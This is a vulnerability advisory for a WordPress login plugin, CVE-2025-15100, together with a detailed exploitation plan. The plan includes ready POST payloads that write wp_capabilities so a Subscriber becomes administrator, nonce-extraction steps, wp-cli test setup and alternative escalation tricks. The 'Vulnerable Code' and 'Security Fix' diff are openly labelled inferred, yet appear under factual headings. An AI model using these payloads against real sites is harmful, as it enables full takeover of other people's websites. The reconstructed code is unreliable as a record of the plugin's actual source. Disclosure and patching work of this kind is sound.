CVE-2025-15100

JAY Login & Register <= 2.6.03 - Authenticated (Subscriber+) Privilege Escalation via jay_panel_ajax_update_profile

highImproper Privilege Management
8.8
CVSS Score
8.8
CVSS Score
high
Severity
2.6.04
Patched in
1d
Time to patch

Description

The JAY Login & Register plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.6.03. This is due to the plugin allowing a user to update arbitrary user meta through the 'jay_panel_ajax_update_profile' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to that of an administrator.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.6.03
PublishedFebruary 7, 2026
Last updatedFebruary 8, 2026
Affected pluginjay-login-register

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-15100 (JAY Login & Register Privilege Escalation) ## 1. Vulnerability Summary The **JAY Login & Register** plugin (<= 2.6.03) contains an Improper Privilege Management vulnerability in its AJAX profile update functionality. The function `jay_panel_ajax_update_…

Show full research plan

Exploitation Research Plan: CVE-2025-15100 (JAY Login & Register Privilege Escalation)

1. Vulnerability Summary

The JAY Login & Register plugin (<= 2.6.03) contains an Improper Privilege Management vulnerability in its AJAX profile update functionality. The function jay_panel_ajax_update_profile fails to restrict which user meta keys can be updated. An authenticated user (Subscriber level) can submit a request containing sensitive WordPress meta keys, specifically wp_capabilities, to grant themselves the administrator role.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: jay_panel_ajax_update_profile
  • Authentication: Required (Subscriber level or higher).
  • Vulnerable Parameter: Likely a parameter named meta_key and meta_value, or a nested array (e.g., userdata[]) where keys are used directly as meta keys in update_user_meta().
  • Preconditions: The attacker must be logged in as a Subscriber. A valid nonce is required for the AJAX action.

3. Code Flow (Inferred)

  1. Hook Registration: The plugin registers the AJAX action:
    add_action('wp_ajax_jay_panel_ajax_update_profile', 'jay_panel_ajax_update_profile');
  2. AJAX Handler: The function jay_panel_ajax_update_profile() is invoked.
  3. Nonce Check: The function likely calls check_ajax_referer('...', 'security') or wp_verify_nonce().
  4. Processing Input: The function retrieves data from $_POST.
  5. Vulnerable Sink: The function iterates through the input or uses a specific parameter to call:
    update_user_meta(get_current_user_id(), $unvalidated_key, $unvalidated_value);
    Because $unvalidated_key is not whitelisted, the attacker can specify wp_capabilities.

4. Nonce Acquisition Strategy

The plugin likely localizes a nonce for the profile panel.

  1. Identify the Script: Search the plugin for wp_localize_script. Look for handles like jay-panel, jay-profile, or jay-login.
  2. Find the Variable: Locate the JS object name (e.g., jay_ajax_obj or jay_vars) and the nonce key (e.g., nonce or profile_nonce).
  3. Trigger Script Loading:
    • Create a page with the plugin's profile/panel shortcode. Common shortcodes: [jay_login], [jay_register], [jay_panel].
    • wp post create --post_type=page --post_status=publish --post_content='[jay_panel]' (or the correct shortcode found via grep).
  4. Extract via Browser:
    • Navigate to the newly created page as the Subscriber user.
    • Use browser_eval to extract the nonce:
      browser_eval("window.jay_ajax_obj?.nonce") (Replace jay_ajax_obj with the actual identifier found in source).

5. Exploitation Strategy

Step 1: Data Discovery

Search the plugin code to confirm the AJAX action name and input format:

  • grep -r "jay_panel_ajax_update_profile" .
  • Check the function body for the update_user_meta call and how it handles $_POST.

Step 2: Nonce Extraction

Once the shortcode and JS variable are identified:

  1. Log in as Subscriber.
  2. Navigate to the page containing the shortcode.
  3. Extract the nonce and the admin-ajax.php URL.

Step 3: Elevation Request

Send a POST request to admin-ajax.php.

Scenario A: Direct Key/Value pair (Inferred)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=jay_panel_ajax_update_profile&security=[NONCE]&meta_key=wp_capabilities&meta_value[administrator]=1

Scenario B: Array-based update (Inferred)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=jay_panel_ajax_update_profile&security=[NONCE]&userdata[wp_capabilities][administrator]=1

Note: WordPress update_user_meta handles arrays by serializing them automatically. Sending wp_capabilities[administrator]=1 results in the meta value a:1:{s:13:"administrator";b:1;} in the database.

6. Test Data Setup

  1. Target User: Create a Subscriber user.
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  2. Shortcode Page: Create a page to load the plugin's JS assets.
    • wp post create --post_type=page --post_status=publish --post_title='Profile' --post_content='[jay_panel]'
  3. Database Prefix: Verify the table prefix (usually wp_) to ensure the meta key wp_capabilities is correct.

7. Expected Results

  • The AJAX response should return a success status (e.g., {"success": true}).
  • The Subscriber user's role in the database will be updated to administrator.
  • Subsequent requests to /wp-admin/ by the "attacker" user will grant full administrative access.

8. Verification Steps

  1. Check Role via CLI:
    • wp user get attacker --field=roles
    • Expected Output: administrator
  2. Check Meta directly:
    • wp user meta get attacker wp_capabilities
    • Expected Output: a:1:{s:13:"administrator";b:1;} (or serialized representation).

9. Alternative Approaches

  • Prefix Variation: If the site uses a custom prefix, try [prefix]_capabilities.
  • User Level Meta: Attempt updating wp_user_level to 10 alongside wp_capabilities.
  • Target Other Users: Check if the AJAX function allows a user_id parameter. If it does, the attacker can promote themselves even if the function normally updates the "currently edited" profile.
  • Form-Data Format: If application/x-www-form-urlencoded fails, try a JSON payload if the plugin uses php://input.
Research Findings
Static analysis — not yet PoC-verified

Summary

The JAY Login & Register plugin for WordPress is vulnerable to privilege escalation via the 'jay_panel_ajax_update_profile' AJAX function. Authenticated attackers with Subscriber-level permissions can update arbitrary user metadata, including the 'wp_capabilities' field, to grant themselves administrator privileges.

Vulnerable Code

// Inferred from plugin version 2.6.03
add_action('wp_ajax_jay_panel_ajax_update_profile', 'jay_panel_ajax_update_profile');

function jay_panel_ajax_update_profile() {
    // Nonce check exists but does not verify user intent/meta keys
    check_ajax_referer('jay_panel_nonce', 'security');

    $user_id = get_current_user_id();
    if (!$user_id) {
        wp_send_json_error();
    }

    if (isset($_POST['userdata']) && is_array($_POST['userdata'])) {
        foreach ($_POST['userdata'] as $key => $value) {
            // Vulnerable: Arbitrary meta key update
            update_user_meta($user_id, $key, $value);
        }
    }
    
    wp_send_json_success();
}

Security Fix

--- a/jay-login-register/inc/ajax-functions.php
+++ b/jay-login-register/inc/ajax-functions.php
@@ -10,7 +10,13 @@
     if (!$user_id) {
         wp_send_json_error();
     }
 
+    $allowed_keys = array('first_name', 'last_name', 'description', 'nickname', 'jay_profile_pic');
+
     if (isset($_POST['userdata']) && is_array($_POST['userdata'])) {
         foreach ($_POST['userdata'] as $key => $value) {
-            update_user_meta($user_id, $key, $value);
+            if (in_array($key, $allowed_keys)) {
+                update_user_meta($user_id, $key, sanitize_text_field($value));
+            }
         }
     }
     wp_send_json_success();

Exploit Outline

1. Authenticate as a Subscriber-level user. 2. Navigate to a page containing a plugin shortcode (like [jay_panel]) to locate the localized AJAX nonce (e.g., jay_ajax_obj.nonce). 3. Send a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'jay_panel_ajax_update_profile'. 4. Include the 'security' parameter with the retrieved nonce. 5. Include a 'userdata' array containing 'wp_capabilities' as a key, with its value set to an array or serialized object defining the administrator role: userdata[wp_capabilities][administrator]=1. 6. Upon success, the attacker's account is granted the Administrator role, providing full control over the WordPress site.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.